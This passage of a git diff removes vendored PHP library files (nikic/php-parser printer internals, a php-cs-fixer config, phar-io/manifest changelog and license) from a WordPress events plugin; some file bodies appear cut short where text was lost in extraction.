!$this->labelCharMap[$str[\strlen($str) - 1]]) { - $str .= $append; - } else { - $str .= " " . $append; - } - } - - /** - * Determines whether the LHS of a call must be wrapped in parenthesis. - * - * @param Node $node LHS of a call - * - * @return bool Whether parentheses are required - */ - protected function callLhsRequiresParens(Node $node): bool { - return !($node instanceof Node\Name - || $node instanceof Expr\Variable - || $node instanceof Expr\ArrayDimFetch - || $node instanceof Expr\FuncCall - || $node instanceof Expr\MethodCall - || $node instanceof Expr\NullsafeMethodCall - || $node instanceof Expr\StaticCall - || $node instanceof Expr\Array_); - } - - /** - * Determines whether the LHS of an array/object operation must be wrapped in parentheses. - * - * @param Node $node LHS of dereferencing operation - * - * @return bool Whether parentheses are required - */ - protected function dereferenceLhsRequiresParens(Node $node): bool { - // A constant can occur on the LHS of an array/object deref, but not a static deref. - return $this->staticDereferenceLhsRequiresParens($node) - && !$node instanceof Expr\ConstFetch; - } - - /** - * Determines whether the LHS of a static operation must be wrapped in parentheses. - * - * @param Node $node LHS of dereferencing operation - * - * @return bool Whether parentheses are required - */ - protected function staticDereferenceLhsRequiresParens(Node $node): bool { - return !($node instanceof Expr\Variable - || $node instanceof Node\Name - || $node instanceof Expr\ArrayDimFetch - || $node instanceof Expr\PropertyFetch - || $node instanceof Expr\NullsafePropertyFetch - || $node instanceof Expr\StaticPropertyFetch - || $node instanceof Expr\FuncCall - || $node instanceof Expr\MethodCall - || $node instanceof Expr\NullsafeMethodCall - || $node instanceof Expr\StaticCall - || $node instanceof Expr\Array_ - || $node instanceof Scalar\String_ - || $node instanceof Expr\ClassConstFetch); - } - - /** - * Determines whether an expression used in "new" or "instanceof" requires parentheses. - * - * @param Node $node New or instanceof operand - * - * @return bool Whether parentheses are required - */ - protected function newOperandRequiresParens(Node $node): bool { - if ($node instanceof Node\Name || $node instanceof Expr\Variable) { - return false; - } - if ($node instanceof Expr\ArrayDimFetch || $node instanceof Expr\PropertyFetch || - $node instanceof Expr\NullsafePropertyFetch - ) { - return $this->newOperandRequiresParens($node->var); - } - if ($node instanceof Expr\StaticPropertyFetch) { - return $this->newOperandRequiresParens($node->class); - } - return true; - } - - /** - * Print modifiers, including trailing whitespace. - * - * @param int $modifiers Modifier mask to print - * - * @return string Printed modifiers - */ - protected function pModifiers(int $modifiers): string { - return ($modifiers & Modifiers::FINAL ? 'final ' : '') - . ($modifiers & Modifiers::ABSTRACT ? 'abstract ' : '') - . ($modifiers & Modifiers::PUBLIC ? 'public ' : '') - . ($modifiers & Modifiers::PROTECTED ? 'protected ' : '') - . ($modifiers & Modifiers::PRIVATE ? 'private ' : '') - . ($modifiers & Modifiers::PUBLIC_SET ? 'public(set) ' : '') - . ($modifiers & Modifiers::PROTECTED_SET ? 'protected(set) ' : '') - . ($modifiers & Modifiers::PRIVATE_SET ? 'private(set) ' : '') - . ($modifiers & Modifiers::STATIC ? 'static ' : '') - . ($modifiers & Modifiers::READONLY ? 'readonly ' : ''); - } - - protected function pStatic(bool $static): string { - return $static ? 'static ' : ''; - } - - /** - * Determine whether a list of nodes uses multiline formatting. - * - * @param (Node|null)[] $nodes Node list - * - * @return bool Whether multiline formatting is used - */ - protected function isMultiline(array $nodes): bool { - if (\count($nodes) < 2) { - return false; - } - - $pos = -1; - foreach ($nodes as $node) { - if (null === $node) { - continue; - } - - $endPos = $node->getEndTokenPos() + 1; - if ($pos >= 0) { - $text = $this->origTokens->getTokenCode($pos, $endPos, 0); - if (false === strpos($text, "\n")) { - // We require that a newline is present between *every* item. If the formatting - // is inconsistent, with only some items having newlines, we don't consider it - // as multiline - return false; - } - } - $pos = $endPos; - } - - return true; - } - - /** - * Lazily initializes label char map. - * - * The label char map determines whether a certain character may occur in a label. - */ - protected function initializeLabelCharMap(): void { - if (isset($this->labelCharMap)) { - return; - } - - $this->labelCharMap = []; - for ($i = 0; $i < 256; $i++) { - $chr = chr($i); - $this->labelCharMap[$chr] = $i >= 0x80 || ctype_alnum($chr); - } - - if ($this->phpVersion->allowsDelInIdentifiers()) { - $this->labelCharMap["\x7f"] = true; - } - } - - /** - * Lazily initializes node list differ. - * - * The node list differ is used to determine differences between two array subnodes. - */ - protected function initializeNodeListDiffer(): void { - if (isset($this->nodeListDiffer)) { - return; - } - - $this->nodeListDiffer = new Internal\Differ(function ($a, $b) { - if ($a instanceof Node && $b instanceof Node) { - return $a === $b->getAttribute('origNode'); - } - // Can happen for array destructuring - return $a === null && $b === null; - }); - } - - /** - * Lazily initializes fixup map. - * - * The fixup map is used to determine whether a certain subnode of a certain node may require - * some kind of "fixup" operation, e.g. the addition of parenthesis or braces. - */ - protected function initializeFixupMap(): void { - if (isset($this->fixupMap)) { - return; - } - - $this->fixupMap = [ - Expr\Instanceof_::class => [ - 'expr' => self::FIXUP_PREC_UNARY, - 'class' => self::FIXUP_NEW, - ], - Expr\Ternary::class => [ - 'cond' => self::FIXUP_PREC_LEFT, - 'else' => self::FIXUP_PREC_RIGHT, - ], - Expr\Yield_::class => ['value' => self::FIXUP_PREC_UNARY], - - Expr\FuncCall::class => ['name' => self::FIXUP_CALL_LHS], - Expr\StaticCall::class => ['class' => self::FIXUP_STATIC_DEREF_LHS], - Expr\ArrayDimFetch::class => ['var' => self::FIXUP_DEREF_LHS], - Expr\ClassConstFetch::class => [ - 'class' => self::FIXUP_STATIC_DEREF_LHS, - 'name' => self::FIXUP_BRACED_NAME, - ], - Expr\New_::class => ['class' => self::FIXUP_NEW], - Expr\MethodCall::class => [ - 'var' => self::FIXUP_DEREF_LHS, - 'name' => self::FIXUP_BRACED_NAME, - ], - Expr\NullsafeMethodCall::class => [ - 'var' => self::FIXUP_DEREF_LHS, - 'name' => self::FIXUP_BRACED_NAME, - ], - Expr\StaticPropertyFetch::class => [ - 'class' => self::FIXUP_STATIC_DEREF_LHS, - 'name' => self::FIXUP_VAR_BRACED_NAME, - ], - Expr\PropertyFetch::class => [ - 'var' => self::FIXUP_DEREF_LHS, - 'name' => self::FIXUP_BRACED_NAME, - ], - Expr\NullsafePropertyFetch::class => [ - 'var' => self::FIXUP_DEREF_LHS, - 'name' => self::FIXUP_BRACED_NAME, - ], - Scalar\InterpolatedString::class => [ - 'parts' => self::FIXUP_ENCAPSED, - ], - ]; - - $binaryOps = [ - BinaryOp\Pow::class, BinaryOp\Mul::class, BinaryOp\Div::class, BinaryOp\Mod::class, - BinaryOp\Plus::class, BinaryOp\Minus::class, BinaryOp\Concat::class, - BinaryOp\ShiftLeft::class, BinaryOp\ShiftRight::class, BinaryOp\Smaller::class, - BinaryOp\SmallerOrEqual::class, BinaryOp\Greater::class, BinaryOp\GreaterOrEqual::class, - BinaryOp\Equal::class, BinaryOp\NotEqual::class, BinaryOp\Identical::class, - BinaryOp\NotIdentical::class, BinaryOp\Spaceship::class, BinaryOp\BitwiseAnd::class, - BinaryOp\BitwiseXor::class, BinaryOp\BitwiseOr::class, BinaryOp\BooleanAnd::class, - BinaryOp\BooleanOr::class, BinaryOp\Coalesce::class, BinaryOp\LogicalAnd::class, - BinaryOp\LogicalXor::class, BinaryOp\LogicalOr::class, - ]; - foreach ($binaryOps as $binaryOp) { - $this->fixupMap[$binaryOp] = [ - 'left' => self::FIXUP_PREC_LEFT, - 'right' => self::FIXUP_PREC_RIGHT - ]; - } - - $prefixOps = [ - Expr\Clone_::class, Expr\BitwiseNot::class, Expr\BooleanNot::class, Expr\UnaryPlus::class, Expr\UnaryMinus::class, - Cast\Int_::class, Cast\Double::class, Cast\String_::class, Cast\Array_::class, - Cast\Object_::class, Cast\Bool_::class, Cast\Unset_::class, Expr\ErrorSuppress::class, - Expr\YieldFrom::class, Expr\Print_::class, Expr\Include_::class, - Expr\Assign::class, Expr\AssignRef::class, AssignOp\Plus::class, AssignOp\Minus::class, - AssignOp\Mul::class, AssignOp\Div::class, AssignOp\Concat::class, AssignOp\Mod::class, - AssignOp\BitwiseAnd::class, AssignOp\BitwiseOr::class, AssignOp\BitwiseXor::class, - AssignOp\ShiftLeft::class, AssignOp\ShiftRight::class, AssignOp\Pow::class, AssignOp\Coalesce::class, - Expr\ArrowFunction::class, Expr\Throw_::class, - ]; - foreach ($prefixOps as $prefixOp) { - $this->fixupMap[$prefixOp] = ['expr' => self::FIXUP_PREC_UNARY]; - } - } - - /** - * Lazily initializes the removal map. - * - * The removal map is used to determine which additional tokens should be removed when a - * certain node is replaced by null. - */ - protected function initializeRemovalMap(): void { - if (isset($this->removalMap)) { - return; - } - - $stripBoth = ['left' => \T_WHITESPACE, 'right' => \T_WHITESPACE]; - $stripLeft = ['left' => \T_WHITESPACE]; - $stripRight = ['right' => \T_WHITESPACE]; - $stripDoubleArrow = ['right' => \T_DOUBLE_ARROW]; - $stripColon = ['left' => ':']; - $stripEquals = ['left' => '=']; - $this->removalMap = [ - 'Expr_ArrayDimFetch->dim' => $stripBoth, - 'ArrayItem->key' => $stripDoubleArrow, - 'Expr_ArrowFunction->returnType' => $stripColon, - 'Expr_Closure->returnType' => $stripColon, - 'Expr_Exit->expr' => $stripBoth, - 'Expr_Ternary->if' => $stripBoth, - 'Expr_Yield->key' => $stripDoubleArrow, - 'Expr_Yield->value' => $stripBoth, - 'Param->type' => $stripRight, - 'Param->default' => $stripEquals, - 'Stmt_Break->num' => $stripBoth, - 'Stmt_Catch->var' => $stripLeft, - 'Stmt_ClassConst->type' => $stripRight, - 'Stmt_ClassMethod->returnType' => $stripColon, - 'Stmt_Class->extends' => ['left' => \T_EXTENDS], - 'Stmt_Enum->scalarType' => $stripColon, - 'Stmt_EnumCase->expr' => $stripEquals, - 'Expr_PrintableNewAnonClass->extends' => ['left' => \T_EXTENDS], - 'Stmt_Continue->num' => $stripBoth, - 'Stmt_Foreach->keyVar' => $stripDoubleArrow, - 'Stmt_Function->returnType' => $stripColon, - 'Stmt_If->else' => $stripLeft, - 'Stmt_Namespace->name' => $stripLeft, - 'Stmt_Property->type' => $stripRight, - 'PropertyItem->default' => $stripEquals, - 'Stmt_Return->expr' => $stripBoth, - 'Stmt_StaticVar->default' => $stripEquals, - 'Stmt_TraitUseAdaptation_Alias->newName' => $stripLeft, - 'Stmt_TryCatch->finally' => $stripLeft, - // 'Stmt_Case->cond': Replace with "default" - // 'Stmt_Class->name': Unclear what to do - // 'Stmt_Declare->stmts': Not a plain node - // 'Stmt_TraitUseAdaptation_Alias->newModifier': Not a plain node - ]; - } - - protected function initializeInsertionMap(): void { - if (isset($this->insertionMap)) { - return; - } - - // TODO: "yield" where both key and value are inserted doesn't work - // [$find, $beforeToken, $extraLeft, $extraRight] - $this->insertionMap = [ - 'Expr_ArrayDimFetch->dim' => ['[', false, null, null], - 'ArrayItem->key' => [null, false, null, ' => '], - 'Expr_ArrowFunction->returnType' => [')', false, ': ', null], - 'Expr_Closure->returnType' => [')', false, ': ', null], - 'Expr_Ternary->if' => ['?', false, ' ', ' '], - 'Expr_Yield->key' => [\T_YIELD, false, null, ' => '], - 'Expr_Yield->value' => [\T_YIELD, false, ' ', null], - 'Param->type' => [null, false, null, ' '], - 'Param->default' => [null, false, ' = ', null], - 'Stmt_Break->num' => [\T_BREAK, false, ' ', null], - 'Stmt_Catch->var' => [null, false, ' ', null], - 'Stmt_ClassMethod->returnType' => [')', false, ': ', null], - 'Stmt_ClassConst->type' => [\T_CONST, false, ' ', null], - 'Stmt_Class->extends' => [null, false, ' extends ', null], - 'Stmt_Enum->scalarType' => [null, false, ' : ', null], - 'Stmt_EnumCase->expr' => [null, false, ' = ', null], - 'Expr_PrintableNewAnonClass->extends' => [null, false, ' extends ', null], - 'Stmt_Continue->num' => [\T_CONTINUE, false, ' ', null], - 'Stmt_Foreach->keyVar' => [\T_AS, false, null, ' => '], - 'Stmt_Function->returnType' => [')', false, ': ', null], - 'Stmt_If->else' => [null, false, ' ', null], - 'Stmt_Namespace->name' => [\T_NAMESPACE, false, ' ', null], - 'Stmt_Property->type' => [\T_VARIABLE, true, null, ' '], - 'PropertyItem->default' => [null, false, ' = ', null], - 'Stmt_Return->expr' => [\T_RETURN, false, ' ', null], - 'Stmt_StaticVar->default' => [null, false, ' = ', null], - //'Stmt_TraitUseAdaptation_Alias->newName' => [T_AS, false, ' ', null], // TODO - 'Stmt_TryCatch->finally' => [null, false, ' ', null], - - // 'Expr_Exit->expr': Complicated due to optional () - // 'Stmt_Case->cond': Conversion from default to case - // 'Stmt_Class->name': Unclear - // 'Stmt_Declare->stmts': Not a proper node - // 'Stmt_TraitUseAdaptation_Alias->newModifier': Not a proper node - ]; - } - - protected function initializeListInsertionMap(): void { - if (isset($this->listInsertionMap)) { - return; - } - - $this->listInsertionMap = [ - // special - //'Expr_ShellExec->parts' => '', // TODO These need to be treated more carefully - //'Scalar_InterpolatedString->parts' => '', - Stmt\Catch_::class . '->types' => '|', - UnionType::class . '->types' => '|', - IntersectionType::class . '->types' => '&', - Stmt\If_::class . '->elseifs' => ' ', - Stmt\TryCatch::class . '->catches' => ' ', - - // comma-separated lists - Expr\Array_::class . '->items' => ', ', - Expr\ArrowFunction::class . '->params' => ', ', - Expr\Closure::class . '->params' => ', ', - Expr\Closure::class . '->uses' => ', ', - Expr\FuncCall::class . '->args' => ', ', - Expr\Isset_::class . '->vars' => ', ', - Expr\List_::class . '->items' => ', ', - Expr\MethodCall::class . '->args' => ', ', - Expr\NullsafeMethodCall::class . '->args' => ', ', - Expr\New_::class . '->args' => ', ', - PrintableNewAnonClassNode::class . '->args' => ', ', - Expr\StaticCall::class . '->args' => ', ', - Stmt\ClassConst::class . '->consts' => ', ', - Stmt\ClassMethod::class . '->params' => ', ', - Stmt\Class_::class . '->implements' => ', ', - Stmt\Enum_::class . '->implements' => ', ', - PrintableNewAnonClassNode::class . '->implements' => ', ', - Stmt\Const_::class . '->consts' => ', ', - Stmt\Declare_::class . '->declares' => ', ', - Stmt\Echo_::class . '->exprs' => ', ', - Stmt\For_::class . '->init' => ', ', - Stmt\For_::class . '->cond' => ', ', - Stmt\For_::class . '->loop' => ', ', - Stmt\Function_::class . '->params' => ', ', - Stmt\Global_::class . '->vars' => ', ', - Stmt\GroupUse::class . '->uses' => ', ', - Stmt\Interface_::class . '->extends' => ', ', - Expr\Match_::class . '->arms' => ', ', - Stmt\Property::class . '->props' => ', ', - Stmt\StaticVar::class . '->vars' => ', ', - Stmt\TraitUse::class . '->traits' => ', ', - Stmt\TraitUseAdaptation\Precedence::class . '->insteadof' => ', ', - Stmt\Unset_::class . '->vars' => ', ', - Stmt\UseUse::class . '->uses' => ', ', - MatchArm::class . '->conds' => ', ', - AttributeGroup::class . '->attrs' => ', ', - PropertyHook::class . '->params' => ', ', - - // statement lists - Expr\Closure::class . '->stmts' => "\n", - Stmt\Case_::class . '->stmts' => "\n", - Stmt\Catch_::class . '->stmts' => "\n", - Stmt\Class_::class . '->stmts' => "\n", - Stmt\Enum_::class . '->stmts' => "\n", - PrintableNewAnonClassNode::class . '->stmts' => "\n", - Stmt\Interface_::class . '->stmts' => "\n", - Stmt\Trait_::class . '->stmts' => "\n", - Stmt\ClassMethod::class . '->stmts' => "\n", - Stmt\Declare_::class . '->stmts' => "\n", - Stmt\Do_::class . '->stmts' => "\n", - Stmt\ElseIf_::class . '->stmts' => "\n", - Stmt\Else_::class . '->stmts' => "\n", - Stmt\Finally_::class . '->stmts' => "\n", - Stmt\Foreach_::class . '->stmts' => "\n", - Stmt\For_::class . '->stmts' => "\n", - Stmt\Function_::class . '->stmts' => "\n", - Stmt\If_::class . '->stmts' => "\n", - Stmt\Namespace_::class . '->stmts' => "\n", - Stmt\Block::class . '->stmts' => "\n", - - // Attribute groups - Stmt\Class_::class . '->attrGroups' => "\n", - Stmt\Enum_::class . '->attrGroups' => "\n", - Stmt\EnumCase::class . '->attrGroups' => "\n", - Stmt\Interface_::class . '->attrGroups' => "\n", - Stmt\Trait_::class . '->attrGroups' => "\n", - Stmt\Function_::class . '->attrGroups' => "\n", - Stmt\ClassMethod::class . '->attrGroups' => "\n", - Stmt\ClassConst::class . '->attrGroups' => "\n", - Stmt\Property::class . '->attrGroups' => "\n", - PrintableNewAnonClassNode::class . '->attrGroups' => ' ', - Expr\Closure::class . '->attrGroups' => ' ', - Expr\ArrowFunction::class . '->attrGroups' => ' ', - Param::class . '->attrGroups' => ' ', - PropertyHook::class . '->attrGroups' => ' ', - - Stmt\Switch_::class . '->cases' => "\n", - Stmt\TraitUse::class . '->adaptations' => "\n", - Stmt\TryCatch::class . '->stmts' => "\n", - Stmt\While_::class . '->stmts' => "\n", - PropertyHook::class . '->body' => "\n", - Stmt\Property::class . '->hooks' => "\n", - Param::class . '->hooks' => "\n", - - // dummy for top-level context - 'File->stmts' => "\n", - ]; - } - - protected function initializeEmptyListInsertionMap(): void { - if (isset($this->emptyListInsertionMap)) { - return; - } - - // TODO Insertion into empty statement lists. - - // [$find, $extraLeft, $extraRight] - $this->emptyListInsertionMap = [ - Expr\ArrowFunction::class . '->params' => ['(', '', ''], - Expr\Closure::class . '->uses' => [')', ' use (', ')'], - Expr\Closure::class . '->params' => ['(', '', ''], - Expr\FuncCall::class . '->args' => ['(', '', ''], - Expr\MethodCall::class . '->args' => ['(', '', ''], - Expr\NullsafeMethodCall::class . '->args' => ['(', '', ''], - Expr\New_::class . '->args' => ['(', '', ''], - PrintableNewAnonClassNode::class . '->args' => ['(', '', ''], - PrintableNewAnonClassNode::class . '->implements' => [null, ' implements ', ''], - Expr\StaticCall::class . '->args' => ['(', '', ''], - Stmt\Class_::class . '->implements' => [null, ' implements ', ''], - Stmt\Enum_::class . '->implements' => [null, ' implements ', ''], - Stmt\ClassMethod::class . '->params' => ['(', '', ''], - Stmt\Interface_::class . '->extends' => [null, ' extends ', ''], - Stmt\Function_::class . '->params' => ['(', '', ''], - Stmt\Interface_::class . '->attrGroups' => [null, '', "\n"], - Stmt\Class_::class . '->attrGroups' => [null, '', "\n"], - Stmt\ClassConst::class . '->attrGroups' => [null, '', "\n"], - Stmt\ClassMethod::class . '->attrGroups' => [null, '', "\n"], - Stmt\Function_::class . '->attrGroups' => [null, '', "\n"], - Stmt\Property::class . '->attrGroups' => [null, '', "\n"], - Stmt\Trait_::class . '->attrGroups' => [null, '', "\n"], - Expr\ArrowFunction::class . '->attrGroups' => [null, '', ' '], - Expr\Closure::class . '->attrGroups' => [null, '', ' '], - PrintableNewAnonClassNode::class . '->attrGroups' => [\T_NEW, ' ', ''], - - /* These cannot be empty to start with: - * Expr_Isset->vars - * Stmt_Catch->types - * Stmt_Const->consts - * Stmt_ClassConst->consts - * Stmt_Declare->declares - * Stmt_Echo->exprs - * Stmt_Global->vars - * Stmt_GroupUse->uses - * Stmt_Property->props - * Stmt_StaticVar->vars - * Stmt_TraitUse->traits - * Stmt_TraitUseAdaptation_Precedence->insteadof - * Stmt_Unset->vars - * Stmt_Use->uses - * UnionType->types - */ - - /* TODO - * Stmt_If->elseifs - * Stmt_TryCatch->catches - * Expr_Array->items - * Expr_List->items - * Stmt_For->init - * Stmt_For->cond - * Stmt_For->loop - */ - ]; - } - - protected function initializeModifierChangeMap(): void { - if (isset($this->modifierChangeMap)) { - return; - } - - $this->modifierChangeMap = [ - Stmt\ClassConst::class . '->flags' => ['pModifiers', \T_CONST], - Stmt\ClassMethod::class . '->flags' => ['pModifiers', \T_FUNCTION], - Stmt\Class_::class . '->flags' => ['pModifiers', \T_CLASS], - Stmt\Property::class . '->flags' => ['pModifiers', \T_VARIABLE], - PrintableNewAnonClassNode::class . '->flags' => ['pModifiers', \T_CLASS], - Param::class . '->flags' => ['pModifiers', \T_VARIABLE], - PropertyHook::class . '->flags' => ['pModifiers', \T_STRING], - Expr\Closure::class . '->static' => ['pStatic', \T_FUNCTION], - Expr\ArrowFunction::class . '->static' => ['pStatic', \T_FN], - //Stmt\TraitUseAdaptation\Alias::class . '->newModifier' => 0, // TODO - ]; - - // List of integer subnodes that are not modifiers: - // Expr_Include->type - // Stmt_GroupUse->type - // Stmt_Use->type - // UseItem->type - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Token.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Token.php deleted file mode 100644 index 6683310f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Token.php +++ /dev/null @@ -1,18 +0,0 @@ -pos + \strlen($this->text); - } - - /** Get 1-based end line number of the token. */ - public function getEndLine(): int { - return $this->line + \substr_count($this->text, "\n"); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/compatibility_tokens.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/compatibility_tokens.php deleted file mode 100644 index 13576c42..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/compatibility_tokens.php +++ /dev/null @@ -1,68 +0,0 @@ -registerCustomFixers([ - new \PharIo\CSFixer\PhpdocSingleLineVarFixer() - ]) - ->setRiskyAllowed(true) - ->setRules( - [ - 'PharIo/phpdoc_single_line_var_fixer' => true, - - 'align_multiline_comment' => true, - 'array_indentation' => true, - 'array_syntax' => ['syntax' => 'short'], - 'binary_operator_spaces' => [ - 'operators' => [ - '=' => 'align', - '=>' => 'align', - ], - ], - 'blank_line_after_namespace' => true, - 'blank_line_after_opening_tag' => false, - 'blank_line_before_statement' => [ - 'statements' => [ - 'break', - 'continue', - 'declare', - 'do', - 'for', - 'foreach', - 'if', - 'include', - 'include_once', - 'require', - 'require_once', - 'return', - 'switch', - 'throw', - 'try', - 'while', - 'yield', - ], - ], - 'braces' => [ - 'allow_single_line_closure' => false, - 'position_after_anonymous_constructs' => 'same', - 'position_after_control_structures' => 'same', - 'position_after_functions_and_oop_constructs' => 'same' - ], - 'cast_spaces' => ['space' => 'none'], - - // This fixer removes the blank line at class start, no way to disable that, so we disable the fixer :( - //'class_attributes_separation' => ['elements' => ['const', 'method', 'property']], - - 'combine_consecutive_issets' => true, - 'combine_consecutive_unsets' => true, - 'compact_nullable_typehint' => true, - 'concat_space' => ['spacing' => 'one'], - 'date_time_immutable' => true, - 'declare_equal_normalize' => ['space' => 'single'], - 'declare_strict_types' => true, - 'dir_constant' => true, - 'elseif' => true, - 'encoding' => true, - 'full_opening_tag' => true, - 'fully_qualified_strict_types' => true, - 'function_declaration' => [ - 'closure_function_spacing' => 'one' - ], - 'global_namespace_import' => [ - 'import_classes' => true, - 'import_constants' => true, - 'import_functions' => true, - ], - 'header_comment' => ['header' => $header, 'separate' => 'none'], - 'indentation_type' => true, - 'is_null' => true, - 'line_ending' => true, - 'list_syntax' => ['syntax' => 'short'], - 'logical_operators' => true, - 'lowercase_cast' => true, - 'constant_case' => ['case' => 'lower'], - 'lowercase_keywords' => true, - 'lowercase_static_reference' => true, - 'magic_constant_casing' => true, - 'method_argument_space' => ['on_multiline' => 'ensure_fully_multiline'], - 'modernize_types_casting' => true, - 'multiline_comment_opening_closing' => true, - 'multiline_whitespace_before_semicolons' => true, - 'new_with_braces' => false, - 'no_alias_functions' => true, - 'no_alternative_syntax' => true, - 'no_blank_lines_after_class_opening' => false, - 'no_blank_lines_after_phpdoc' => true, - 'no_blank_lines_before_namespace' => true, - 'no_closing_tag' => true, - 'no_empty_comment' => true, - 'no_empty_phpdoc' => true, - 'no_empty_statement' => true, - 'no_extra_blank_lines' => true, - 'no_homoglyph_names' => true, - 'no_leading_import_slash' => true, - 'no_leading_namespace_whitespace' => true, - 'no_mixed_echo_print' => ['use' => 'print'], - 'no_multiline_whitespace_around_double_arrow' => true, - 'no_null_property_initialization' => true, - 'no_php4_constructor' => true, - 'no_short_bool_cast' => true, - 'echo_tag_syntax' => ['format' => 'long'], - 'no_singleline_whitespace_before_semicolons' => true, - 'no_spaces_after_function_name' => true, - 'no_spaces_inside_parenthesis' => true, - 'no_superfluous_elseif' => true, - 'no_superfluous_phpdoc_tags' => true, - 'no_trailing_comma_in_list_call' => true, - 'no_trailing_comma_in_singleline_array' => true, - 'no_trailing_whitespace' => true, - 'no_trailing_whitespace_in_comment' => true, - 'no_unneeded_control_parentheses' => false, - 'no_unneeded_curly_braces' => false, - 'no_unneeded_final_method' => true, - 'no_unreachable_default_argument_value' => true, - 'no_unset_on_property' => true, - 'no_unused_imports' => true, - 'no_useless_else' => true, - 'no_useless_return' => true, - 'no_whitespace_before_comma_in_array' => true, - 'no_whitespace_in_blank_line' => true, - 'non_printable_character' => true, - 'normalize_index_brace' => true, - 'object_operator_without_whitespace' => true, - 'ordered_class_elements' => [ - 'order' => [ - 'use_trait', - 'constant_public', - 'constant_protected', - 'constant_private', - 'property_public_static', - 'property_protected_static', - 'property_private_static', - 'property_public', - 'property_protected', - 'property_private', - 'method_public_static', - 'construct', - 'destruct', - 'magic', - 'phpunit', - 'method_public', - 'method_protected', - 'method_private', - 'method_protected_static', - 'method_private_static', - ], - ], - 'ordered_imports' => [ - 'imports_order' => [ - PhpCsFixer\Fixer\Import\OrderedImportsFixer::IMPORT_TYPE_CLASS, - PhpCsFixer\Fixer\Import\OrderedImportsFixer::IMPORT_TYPE_CONST, - PhpCsFixer\Fixer\Import\OrderedImportsFixer::IMPORT_TYPE_FUNCTION, - ] - ], - 'phpdoc_add_missing_param_annotation' => true, - 'phpdoc_align' => true, - 'phpdoc_annotation_without_dot' => true, - 'phpdoc_indent' => true, - 'phpdoc_no_access' => true, - 'phpdoc_no_empty_return' => true, - 'phpdoc_no_package' => true, - 'phpdoc_order' => true, - 'phpdoc_return_self_reference' => true, - 'phpdoc_scalar' => true, - 'phpdoc_separation' => true, - 'phpdoc_single_line_var_spacing' => true, - 'phpdoc_to_comment' => true, - 'phpdoc_trim' => true, - 'phpdoc_trim_consecutive_blank_line_separation' => true, - 'phpdoc_types' => ['groups' => ['simple', 'meta']], - 'phpdoc_types_order' => true, - 'phpdoc_to_return_type' => true, - 'phpdoc_var_without_name' => true, - 'pow_to_exponentiation' => true, - 'protected_to_private' => true, - 'return_assignment' => true, - 'return_type_declaration' => ['space_before' => 'none'], - 'self_accessor' => false, - 'semicolon_after_instruction' => true, - 'set_type_to_cast' => true, - 'short_scalar_cast' => true, - 'simplified_null_return' => true, - 'single_blank_line_at_eof' => true, - 'single_import_per_statement' => true, - 'single_line_after_imports' => true, - 'single_quote' => true, - 'standardize_not_equals' => true, - 'ternary_to_null_coalescing' => true, - 'trailing_comma_in_multiline' => false, - 'trim_array_spaces' => true, - 'unary_operator_spaces' => true, - 'visibility_required' => [ - 'elements' => [ - 'const', - 'method', - 'property', - ], - ], - 'void_return' => true, - 'whitespace_after_comma_in_array' => true, - 'yoda_style' => false - ] - ) - ->setFinder( - PhpCsFixer\Finder::create() - ->files() - ->in(__DIR__ . '/build') - ->in(__DIR__ . '/src') - ->in(__DIR__ . '/tests') - ->notName('autoload.php') - ); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/CHANGELOG.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/CHANGELOG.md deleted file mode 100644 index f363b169..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/CHANGELOG.md +++ /dev/null @@ -1,45 +0,0 @@ -# Changelog - -All notable changes to phar-io/manifest are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [2.0.4] - 03-03-2024 - -### Changed - -- Make `EMail` an optional attribute for author -- Stick with PHP 7.2 compatibilty -- Do not use implict nullable type (thanks @sebastianbergmann), this should make things work on PHP 8.4 - -## [2.0.3] - 20.07.2021 - -- Fixed PHP 7.2 / PHP 7.3 incompatibility introduced in previous release - -## [2.0.2] - 20.07.2021 - -- Fixed PHP 8.1 deprecation notice - -## [2.0.1] - 27.06.2020 - -This release now supports the use of PHP 7.2+ and ^8.0 - -## [2.0.0] - 10.05.2020 - -This release now requires PHP 7.2+ - -### Changed - -- Upgraded to phar-io/version 3.0 - - Version strings `v1.2.3` will now be converted to valid semantic version strings `1.2.3` - - Abreviated strings like `1.0` will get expaneded to `1.0.0` - -### Unreleased - -[Unreleased]: https://github.com/phar-io/manifest/compare/2.1.0...HEAD -[2.1.0]: https://github.com/phar-io/manifest/compare/2.0.3...2.1.0 -[2.0.3]: https://github.com/phar-io/manifest/compare/2.0.2...2.0.3 -[2.0.2]: https://github.com/phar-io/manifest/compare/2.0.1...2.0.2 -[2.0.1]: https://github.com/phar-io/manifest/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/phar-io/manifest/compare/1.0.1...2.0.0 -[1.0.3]: https://github.com/phar-io/manifest/compare/1.0.2...1.0.3 -[1.0.2]: https://github.com/phar-io/manifest/compare/1.0.1...1.0.2 -[1.0.1]: https://github.com/phar-io/manifest/compare/1.0.0...1.0.1 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/LICENSE deleted file mode 100644 index 64690cf2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/LICENSE +++ /dev/null @@ -1,31 +0,0 @@ -Phar.io - Manifest - -Copyright (c) 2016-2019 Arne Blankerts , Sebastian Heuer , Sebastian Bergmann , and contributors -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the 